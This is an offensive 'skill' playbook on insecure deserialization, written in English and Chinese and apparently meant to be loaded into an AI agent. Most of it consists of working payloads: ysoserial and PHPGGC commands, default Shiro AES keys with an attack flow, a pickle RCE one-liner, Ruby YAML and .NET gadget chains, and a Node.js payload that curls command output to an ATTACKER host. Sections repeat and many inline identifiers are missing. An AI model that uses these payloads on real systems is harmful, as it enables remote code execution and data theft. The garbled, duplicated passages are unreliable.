SKILL: Insecure Deserialization — Expert Attack Playbook
SKILL: 不安全反序列化——专家级攻击手册
AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
AI加载说明:覆盖Java、PHP、Python三种语言的专家级反序列化技术,包含gadget链选择、流量指纹识别、工具使用(ysoserial、PHPGGC)、Shiro/WebLogic/Commons Collections专项漏洞、Phar反序列化、Python pickle滥用等内容。基础模型通常无法区分找到漏洞sink和找到可用gadget链之间的差异。
0. RELATED ROUTING
0. 相关路由
- jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
- unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
- jndi-injection:当反序列化触发JNDI查询时使用(例如JDK 8u191之后版本通过LDAP绕过→反序列化)
- unauthorized-access-common-services:当反序列化端点是暴露的管理服务(RMI Registry、T3、AJP)时使用
1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
1. 流量指纹识别——是不是反序列化漏洞?
Java Serialized Objects
Java序列化对象
| Indicator | Where to Look |
|---|
| Hex | Raw binary in request/response body, cookies, POST params |
| Base64 | Cookies (), hidden form fields, JWT claims |
Content-Type: application/x-java-serialized-object
| HTTP headers |
| T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
| 特征 | 排查位置 |
|---|
| 十六进制 | 请求/响应体、Cookie、POST参数中的原始二进制数据 |
| Base64 | Cookie()、隐藏表单字段、JWT声明 |
Content-Type: application/x-java-serialized-object
| HTTP请求头 |
| T3/IIOP协议流量 | WebLogic端口(7001、7002) |
PHP Serialized Objects
PHP序列化对象
| Indicator | Where to Look |
|---|
| pattern | POST body, cookies, session files |
| (array) | Same locations |
| URI usage | File operations accepting user-controlled paths |
| 特征 | 排查位置 |
|---|
| 格式 | POST请求体、Cookie、会话文件 |
| (数组格式) | 同上位置 |
| URI使用 | 接受用户控制路径的文件操作 |
Python Pickle
Python Pickle
| Indicator | Where to Look |
|---|
| Hex or (protocol 3/4) | Binary data in requests, message queues |
| Base64-encoded binary blob | API params, cookies, Redis values |
| / in source | Code review / whitebox |
| 特征 | 排查位置 |
|---|
| 十六进制 或 (协议版本3/4) | 请求、消息队列中的二进制数据 |
| Base64编码的二进制块 | API参数、Cookie、Redis值 |
| 源码中存在 / | 代码审计/白盒测试 |
2. JAVA — GADGET CHAINS AND TOOLS
2. Java——Gadget链与工具
ysoserial — Primary Tool
ysoserial——核心工具
Generate payload (example: CommonsCollections1 chain with command)
Generate payload (example: CommonsCollections1 chain with command)
Base64-encode for HTTP transport
Base64-encode for HTTP transport
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
Common chains to try (ordered by frequency of vulnerable dependency):
Common chains to try (ordered by frequency of vulnerable dependency):
CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
CommonsCollections1-7 — Apache Commons Collections 3.x / 4.x
Spring1, Spring2 — Spring Framework
Spring1, Spring2 — Spring Framework
Groovy1 — Groovy
Groovy1 — Groovy
Hibernate1 — Hibernate
Hibernate1 — Hibernate
JBossInterceptors1 — JBoss
JBossInterceptors1 — JBoss
Jdk7u21 — JDK 7u21 (no extra dependency)
Jdk7u21 — JDK 7u21 (no extra dependency)
URLDNS — DNS-only confirmation (no RCE, works everywhere)
URLDNS — DNS-only confirmation (no RCE, works everywhere)
URLDNS — Safe Confirmation Probe
URLDNS——安全验证探针
URLDNS triggers a DNS lookup without RCE — safe for confirming deserialization without damage:
bash
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
DNS hit on collaborator = confirmed deserialization. Then escalate to RCE chains.
URLDNS可以在不触发RCE的情况下触发DNS查询,可安全地确认反序列化漏洞存在且不会造成破坏:
bash
java -jar ysoserial.jar URLDNS "http://UNIQUE_TOKEN.burpcollaborator.net" > probe.bin
如果collaborator收到DNS请求=确认存在反序列化漏洞,之后可以升级使用RCE链。
Commons Collections — The Classic Chain
Commons Collections——经典Gadget链
The vulnerability exists when
org.apache.commons.collections
(3.x) is on the classpath and the application calls
on untrusted data.
Key classes in the chain:
→
→
→ triggers
during deserialization.
当classpath中存在
org.apache.commons.collections
(3.x版本)且应用对不受信任数据调用
时,就会存在该漏洞。
Apache Shiro — rememberMe Deserialization
Apache Shiro——rememberMe反序列化
Shiro uses AES-CBC to encrypt serialized Java objects in the
cookie.
text
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
Attack flow:
- Detect: response sets cookie on invalid session
- Generate ysoserial payload (CommonsCollections6 recommended for broad compat)
- AES-CBC encrypt with known key + random IV
- Base64-encode → set as cookie value
- Send request → server decrypts → deserializes → RCE
DNSLog confirmation (before full RCE): use URLDNS chain →
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"
→ encrypt → set cookie → check DNSLog for hit.
Post-fix (random key): Key may still leak via padding oracle, or another CVE (SHIRO-721).
Shiro使用AES-CBC加密
Cookie中的序列化Java对象。
text
Known hard-coded keys (SHIRO-550 / CVE-2016-4437):
kPH+bIxk5D2deZiIxcaaaA== # most common default
wGJlpLanyXlVB1LUUWolBg== # another common default in older versions
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
攻击流程:
- 检测:无效会话时响应返回 Cookie
- 生成ysoserial payload(推荐使用兼容性更广的CommonsCollections6链)
- 使用已知密钥+随机IV进行AES-CBC加密
- Base64编码 → 设置为 Cookie值
- 发送请求 → 服务端解密 → 反序列化 → 触发RCE
DNSLog验证(全量RCE前验证):使用URLDNS链 →
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"
→ 加密 → 设置Cookie → 检查DNSLog是否收到请求。
修复后绕过(随机密钥):密钥仍可能通过填充预言机或其他CVE(SHIRO-721)泄露。
WebLogic Deserialization
WebLogic反序列化
Multiple vectors:
- T3 protocol (port 7001): direct serialized object injection
- XMLDecoder (CVE-2017-10271): XML-based deserialization via
/wls-wsat/CoordinatorPortType
- IIOP protocol: alternative to T3
多种攻击向量:
- T3协议(端口7001):直接注入序列化对象
- XMLDecoder(CVE-2017-10271):通过
/wls-wsat/CoordinatorPortType
的XML格式反序列化
- IIOP协议:T3的替代方案
T3 probe — check if T3 is exposed:
T3 probe — check if T3 is exposed:
Look for: "T3" or "WebLogic" in service banner
Look for: "T3" or "WebLogic" in service banner
Java RMI Registry
Java RMI Registry
RMI Registry (port 1099) accepts serialized objects by design:
RMI Registry(端口1099)设计上就接受序列化对象:
ysoserial exploit module for RMI:
ysoserial exploit module for RMI:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit TARGET 1099 CommonsCollections1 "id"
Requires: vulnerable library on target's classpath
Requires: vulnerable library on target's classpath
Works on: JDK <= 8u111 without JEP 290 deserialization filter
Works on: JDK <= 8u111 without JEP 290 deserialization filter
JDK Version Constraints
JDK版本限制
| JDK Version | Impact |
|---|
| < 8u121 | RMI/LDAP remote class loading works |
| 8u121-8u190 | for RMI; LDAP still works |
| >= 8u191 | Both RMI and LDAP remote class loading blocked |
| >= 8u191 bypass | Use LDAP → return serialized gadget object (not remote class) |
| JDK版本 | 影响 |
|---|
| < 8u121 | RMI/LDAP远程类加载可用 |
| 8u121-8u190 | RMI默认;LDAP仍可用 |
| >= 8u191 | RMI和LDAP远程类加载均被阻断 |
| >= 8u191绕过 | 使用LDAP → 返回序列化gadget对象(而非远程类) |
3. PHP — unserialize AND PHAR
3. PHP——unserialize和PHAR
PHP deserialization triggers magic methods in order:
__wakeup() → called immediately on unserialize()
__destruct() → called when object is garbage-collected
__toString() → called when object is used as string
__call() → called for inaccessible methods
Attack: craft a serialized object whose
or
triggers dangerous operations (file write, SQL query, command execution, SSRF).
PHP反序列化按顺序触发魔术方法:
__wakeup() → unserialize()执行后立即调用
__destruct() → 对象被垃圾回收时调用
__toString() → 对象被当作字符串使用时调用
__call() → 调用不存在的方法时调用
攻击:构造序列化对象,使其
或
触发危险操作(文件写入、SQL查询、命令执行、SSRF)。
Serialized Object Format
序列化对象格式
php
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
php
O:8:"ClassName":2:{s:4:"prop";s:5:"value";s:4:"cmd";s:2:"id";}
// O:LENGTH:"CLASS":PROP_COUNT:{PROPERTIES}
phpMyAdmin Configuration Injection (Real-World Case)
phpMyAdmin配置注入(真实案例)
phpMyAdmin
class reads arbitrary files via
property:
text
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
text
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
PHPGGC — PHP Gadget Chain Generator
PHPGGC——PHP Gadget链生成器
List available chains:
List available chains:
Generate payload (example: Laravel RCE):
Generate payload (example: Laravel RCE):
phpggc Laravel/RCE1 system id
phpggc Laravel/RCE1 system id
Common chains:
Common chains:
Laravel/RCE1-10
Laravel/RCE1-10
Symfony/RCE1-4
Symfony/RCE1-4
Monolog/RCE1-2
Monolog/RCE1-2
WordPress/RCE1
WordPress/RCE1
Phar Deserialization
Phar反序列化
Phar archives contain serialized metadata. Any file operation on a
URI triggers deserialization — even when
is never directly called.
Triggering functions (partial list):
file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()
Attack flow:
- Upload a valid file (e.g., JPEG with phar polyglot)
- Trigger file operation:
file_exists("phar://uploads/avatar.jpg")
- PHP deserializes phar metadata → gadget chain executes
Phar压缩包包含序列化元数据。任何对
URI的文件操作都会触发反序列化——即使从未直接调用
。
触发函数(部分列表):
file_exists() file_get_contents() fopen()
is_file() is_dir() copy()
filesize() filetype() stat()
include() require() getimagesize()
攻击流程:
- 上传合法文件(例如带phar polyglot的JPEG文件)
- 触发文件操作:
file_exists("phar://uploads/avatar.jpg")
- PHP反序列化phar元数据 → 执行gadget链
Generate phar with PHPGGC:
Generate phar with PHPGGC:
phpggc -p phar -o exploit.phar Monolog/RCE1 system id
phpggc -p phar -o exploit.phar Monolog/RCE1 system id
4. PYTHON — PICKLE
4. Python——Pickle
reduce Method
__reduce__方法
Python's
calls
on objects during deserialization, which can return a callable + args:
python
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Exploit())
Python的
在反序列化时会调用对象的
方法,该方法可返回可调用对象+参数:
python
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("id",))
payload = pickle.dumps(Exploit())
Send payload to target that calls pickle.loads()
Send payload to target that calls pickle.loads()
Analyzing Pickle Opcodes
分析Pickle操作码
python
import pickletools
pickletools.dis(payload)
python
import pickletools
pickletools.dis(payload)
Shows opcodes: GLOBAL, REDUCE, etc.
Shows opcodes: GLOBAL, REDUCE, etc.
Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
Look for GLOBAL referencing dangerous modules (os, subprocess, builtins)
Common Python Deserialization Sinks
常见Python反序列化Sink
python
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data) # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)
python
pickle.loads(user_data)
pickle.load(file_handle)
yaml.load(data) # PyYAML without Loader=SafeLoader
jsonpickle.decode(data)
shelve.open(path)
Defensive Bypass: RestrictedUnpickler
防御绕过:RestrictedUnpickler
Even when
RestrictedUnpickler.find_class
is used, check if the whitelist is too broad:
python
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
If
includes
,
, or
→ still exploitable.
即使使用了
RestrictedUnpickler.find_class
,也要检查白名单是否过宽:
python
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"forbidden: {module}.{name}")
5. DETECTION METHODOLOGY
5. 检测方法
Found binary blob or encoded object in request/cookie?
├── Java signature (ac ed / rO0AB)?
│ ├── Use URLDNS probe for safe confirmation
│ ├── Identify libraries (error messages, known product)
│ └── Try ysoserial chains matching identified libraries
│
├── PHP signature (O:N:"...)?
│ ├── Identify framework (Laravel, Symfony, WordPress)
│ ├── Try PHPGGC chains for that framework
│ └── Check for phar:// wrapper in file operations
│
├── Python (opaque binary, base64 blob)?
│ ├── Try pickle payload with DNS callback
│ └── Check if PyYAML unsafe load is used
│
└── Not sure?
├── Try URLDNS payload (Java) — check DNS
├── Try PHP serialized test string
└── Monitor error messages for class loading failures
在请求/Cookie中发现二进制块或编码对象?
├── 存在Java特征(ac ed / rO0AB)?
│ ├── 使用URLDNS探针安全验证
│ ├── 识别依赖库(错误信息、已知产品)
│ └── 尝试匹配识别到的库对应的ysoserial链
│
├── 存在PHP特征(O:N:"...)?
│ ├── 识别框架(Laravel、Symfony、WordPress)
│ ├── 尝试对应框架的PHPGGC链
│ └── 检查文件操作中是否存在phar://包装器
│
├── Python特征(不透明二进制、Base64块)?
│ ├── 尝试带DNS回调的pickle payload
│ └── 检查是否使用了PyYAML不安全加载
│
└── 不确定?
├── 尝试URLDNS payload(Java)——检查DNS
├── 尝试PHP序列化测试字符串
└── 监控错误信息中的类加载失败提示
6. DEFENSE AWARENESS
6. 防御方案
| Language | Mitigation |
|---|
| Java | JEP 290 deserialization filters; whitelist allowed classes; avoid on untrusted data; use JSON/Protobuf instead |
| PHP | Avoid on user input; use instead; block in file operations |
| Python | Use only for trusted data; use for external input; PyYAML: always use |
| 语言 | 缓解措施 |
|---|
| Java | 启用JEP 290反序列化过滤器;白名单允许的类;避免对不受信任数据使用;改用JSON/Protobuf |
| PHP | 避免对用户输入使用;改用;文件操作中阻断 |
| Python | 仅对受信任数据使用;外部输入使用;PyYAML始终使用 |
7. QUICK REFERENCE — KEY PAYLOADS
7. 快速参考——核心Payload
Java — URLDNS confirmation
Java — URLDNS验证
Java — RCE via CommonsCollections
Java — CommonsCollections RCE
PHP — Laravel RCE
PHP — Laravel RCE
phpggc Laravel/RCE1 system "id"
phpggc Laravel/RCE1 system "id"
PHP — Phar polyglot
PHP — Phar polyglot
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
phpggc -p phar -o exploit.phar Monolog/RCE1 system "id"
Python — Pickle RCE
Python — Pickle RCE
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'reduce':lambda s:(os.system,('id',))})()).hex())"
python3 -c "import pickle,os;print(pickle.dumps(type('X',(),{'reduce':lambda s:(os.system,('id',))})()).hex())"
Shiro default key test
Shiro默认密钥测试
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>
rememberMe=<AES-CBC(key=kPH+bIxk5D2deZiIxcaaaA==, payload=ysoserial_output)>
8. RUBY DESERIALIZATION
8. Ruby反序列化
- on untrusted data → RCE
- Fingerprint: binary data, no common text header
- Gadget chains exist for various Ruby versions
- Docker verification: hex payload via
- 对不受信任数据使用 → RCE
- 指纹:二进制数据,无通用文本头
- 存在适配不同Ruby版本的gadget链
- Docker验证:通过加载十六进制payload
Ruby YAML (YAML.load)
Ruby YAML (YAML.load)
- (not ) executes arbitrary Ruby objects
- Pre Ruby 2.7.2: chain → /
- Ruby 2.x-3.x: → → chain (longer, multi-step)
- Always test:
YAML.load("--- !ruby/object:Gem::Installer\ni: x")
for class instantiation check
- Payload template:
yaml
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
type: :runtime
specs:
- !ruby/object:Gem::StubSpecification
loaded_from: "|id"
- Note: is safe (Ruby 2.1+); also safe
- (非)会执行任意Ruby对象
- Ruby 2.7.2之前版本:链 → /
- Ruby 2.x-3.x: → → 链(更长、多步骤)
- 始终测试:
YAML.load("--- !ruby/object:Gem::Installer\ni: x")
检查类实例化是否可行
- Payload模板:
yaml
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
type: :runtime
specs:
- !ruby/object:Gem::StubSpecification
loaded_from: "|id"
9. .NET DESERIALIZATION
9. .NET反序列化
-
Traffic fingerprint:
- BinaryFormatter: hex (base64 )
- ViewState: hex or prefix
- JSON.NET: property in JSON
-
BinaryFormatter (most dangerous, deprecated in .NET 5+): arbitrary type instantiation
-
XmlSerializer:
+
chain for command execution
xml
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider">
<od:MethodName>Start</od:MethodName>
<od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters>
<od:ObjectInstance xsi:type="System.Diagnostics.Process"/>
</root>
-
NetDataContractSerializer: similar to BinaryFormatter, full type info in XML
-
LosFormatter: used in ViewState, deserializes to
-
JSON.NET:
property enables type control →
+
chains
json
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}
-
Tool:
— generate payloads for all .NET formatters
text
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
-
POP gadgets:
,
,
AssemblyInstaller.set_Path
-
流量指纹:
- BinaryFormatter:十六进制(Base64 )
- ViewState:十六进制或前缀
- JSON.NET:JSON中存在属性
-
BinaryFormatter(最危险,.NET 5+已废弃):可实例化任意类型
-
xml
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:od="http://schemas.microsoft.com/powershell/2004/04" type="System.Windows.Data.ObjectDataProvider">
<od:MethodName>Start</od:MethodName>
<od:MethodParameters><sys:String>cmd</sys:String><sys:String>/c calc</sys:String></od:MethodParameters>
<od:ObjectInstance xsi:type="System.Diagnostics.Process"/>
</root>
-
NetDataContractSerializer:类似BinaryFormatter,XML中包含完整类型信息
-
LosFormatter:用于ViewState,反序列化为
-
json
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}
-
工具:
— 生成所有.NET格式化器的payload
text
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc" -o base64
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "calc"
-
POP gadgets:
、
、
AssemblyInstaller.set_Path
10. NODE.JS DESERIALIZATION
10. NODE.JS反序列化
-
node-serialize:
with IIFE (Immediately Invoked Function Expression)
- Payload marker:
- Add at end to auto-execute:
json
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"}
-
funcster:
property →
to access
json
{"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"}
-
cryo: similar to funcster, serializes JS objects with function support
-
node-serialize:带IIFE(立即执行函数表达式)的
json
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('COMMAND')}()"}
-
json
{"__js_function":"function(){return global.process.mainModule.require('child_process').execSync('id').toString()}"}
-
cryo:类似funcster,支持序列化带函数的JS对象
RUBY DESERIALIZATION
RUBY反序列化
Marshal (Binary Format)
Marshal(二进制格式)
Ruby's Marshal.load is equivalent to Java's ObjectInputStream
Ruby's Marshal.load is equivalent to Java's ObjectInputStream
Any class with marshal_dump/marshal_load can be a gadget
Any class with marshal_dump/marshal_load can be a gadget
Detection: binary data starting with \x04\x08
Detection: binary data starting with \x04\x08
PoC gadget (requires vulnerable class in scope):
PoC gadget (requires vulnerable class in scope):
payload = "\x04\x08..." # hex-encoded gadget chain
Marshal.load(payload) # triggers arbitrary code execution
payload = "\x04\x08..." # hex-encoded gadget chain
Marshal.load(payload) # triggers arbitrary code execution
YAML.load (Critical — Most Common Ruby Deser Sink)
YAML.load(高危——最常见的Ruby反序列化Sink)
YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects
YAML.load (NOT YAML.safe_load) deserializes arbitrary Ruby objects
Ruby <= 2.7.2 — Gem::Requirement chain:
Ruby <= 2.7.2 — Gem::Requirement chain:
Triggers via !ruby/object constructor
Triggers via !ruby/object constructor
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
current_fetch_uri: !ruby/object:URI::Generic
path: "| id"
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source
current_fetch_uri: !ruby/object:URI::Generic
path: "| id"
Ruby 2.x–3.x — Gem::Installer chain:
Ruby 2.x–3.x — Gem::Installer chain:
Uses Gem::Installer → Gem::StubSpecification → Kernel#system
Uses Gem::Installer → Gem::StubSpecification → Kernel#system
!ruby/hash:Gem::Installer
i: x
!ruby/hash:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id # <-- command to execute
method_id: :resolve
!ruby/hash:Gem::Installer
i: x
!ruby/hash:Gem::SpecFetcher
i: y
!ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id # <-- command to execute
method_id: :resolve
Safe alternative: YAML.safe_load (whitelist of allowed types)
Safe alternative: YAML.safe_load (whitelist of allowed types)
elttam/ruby-deserialization
— Ruby gadget chain generator
- inspiration → check Ruby-specific forks
elttam/ruby-deserialization
— Ruby gadget链生成器
- 灵感来源 → 查看Ruby专属的fork版本
.NET DESERIALIZATION
.NET反序列化
Traffic Fingerprinting
流量指纹识别
| Indicator | Serializer |
|---|
| Hex / Base64 | BinaryFormatter |
| Hex / Base64 | DataContractSerializer |
| ViewState starts with | LosFormatter / ObjectStateFormatter |
| JSON with property | JSON.NET (Newtonsoft) TypeNameHandling |
| XML with | XmlSerializer / NetDataContractSerializer |
| 特征 | 序列化器 |
|---|
| 十六进制 / Base64 | BinaryFormatter |
| 十六进制 / Base64 | DataContractSerializer |
| ViewState以开头 | LosFormatter / ObjectStateFormatter |
| 带属性的JSON | JSON.NET (Newtonsoft) TypeNameHandling |
| 带的XML | XmlSerializer / NetDataContractSerializer |
BinaryFormatter / LosFormatter
BinaryFormatter / LosFormatter
Most dangerous — arbitrary type instantiation
Most dangerous — arbitrary type instantiation
Tool: ysoserial.net
Tool: ysoserial.net
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\out.txt" -o base64
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "cmd /c whoami > C:\out.txt" -o base64
LosFormatter wraps BinaryFormatter — same gadgets work
LosFormatter wraps BinaryFormatter — same gadgets work
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe" -o base64
XmlSerializer + ObjectDataProvider
XmlSerializer + ObjectDataProvider
xml
<root>
<ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<ObjectDataProvider.MethodParameters>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
</ObjectDataProvider.MethodParameters>
<ObjectDataProvider.ObjectInstance>
<ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
<ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
<ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
</ProcessStartInfo>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</root>
xml
<root>
<ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<ObjectDataProvider.MethodParameters>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">cmd.exe</sys:String>
<sys:String xmlns:sys="clr-namespace:System;assembly=mscorlib">/c whoami</sys:String>
</ObjectDataProvider.MethodParameters>
<ObjectDataProvider.ObjectInstance>
<ProcessStartInfo xmlns="clr-namespace:System.Diagnostics;assembly=System">
<ProcessStartInfo.FileName>cmd.exe</ProcessStartInfo.FileName>
<ProcessStartInfo.Arguments>/c whoami</ProcessStartInfo.Arguments>
</ProcessStartInfo>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</root>
JSON.NET with TypeNameHandling
启用TypeNameHandling的JSON.NET
json
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
Vulnerable when
is set to
,
,
, or
.
json
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib",
"$values": ["cmd.exe", "/c whoami"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
- — primary .NET deserialization payload generator
- Gadget chains: TypeConfuseDelegate, TextFormattingRunProperties, PSObject, ActivitySurrogateSelectorFromFile
- — 主流.NET反序列化payload生成器
- Gadget链:TypeConfuseDelegate、TextFormattingRunProperties、PSObject、ActivitySurrogateSelectorFromFile
NODE.JS DESERIALIZATION
NODE.JS反序列化
node-serialize (IIFE Pattern)
node-serialize(IIFE模式)
javascript
// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';
// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function
// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}
javascript
// node-serialize uses eval() internally
// Payload uses _$$ND_FUNC$$_ marker + IIFE:
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\',function(error,stdout,stderr){console.log(stdout)});}()"}';
// The trailing () makes it an Immediately Invoked Function Expression
// When unserialize() processes this, it executes the function
// Full HTTP exploit (in cookie or body):
{"username":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://ATTACKER/?x=$(id|base64)',function(e,o,s){});}()","email":"test@test.com"}
javascript
// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}
javascript
// funcster deserializes functions via constructor.constructor pattern:
{"__js_function":"function(){var net=this.constructor.constructor('return require')()('child_process');return net.execSync('id').toString();}"}
PHP create_function + Deserialization Combo
PHP create_function + 反序列化组合利用
php
// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command
// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}
php
// When a PHP class uses create_function in __destruct or __wakeup:
// Serialize an object where:
$a = "create_function";
$b = ";}system('id');/*";
// The lambda body becomes: function(){ ;}system('id');/* }
// Closing the original function body and injecting a command
// In serialized form, private properties need \0ClassName\0 prefix:
O:7:"Noteasy":2:{s:19:"\0Noteasy\0method_name";s:15:"create_function";s:14:"\0Noteasy\0args";s:21:";}system('id');/*";}
11. RUBY DESERIALIZATION
11. Ruby反序列化
Ruby's native serialization. Dangerous when deserializing untrusted data.
Ruby's native serialization. Dangerous when deserializing untrusted data.
Detection: Binary data starting with \x04\x08
Detection: Binary data starting with \x04\x08
One-liner gadget verification (hex-encoded payload):
One-liner gadget verification (hex-encoded payload):
payload = ["040802"].pack("H*") # Minimal Marshal header
Marshal.load(payload)
payload = ["040802"].pack("H*") # Minimal Marshal header
Marshal.load(payload)
YAML (CVE-rich surface)
YAML(高CVE风险面)
YAML.load is DANGEROUS — equivalent to eval for Ruby objects
YAML.load is DANGEROUS — equivalent to eval for Ruby objects
Safe alternative: YAML.safe_load
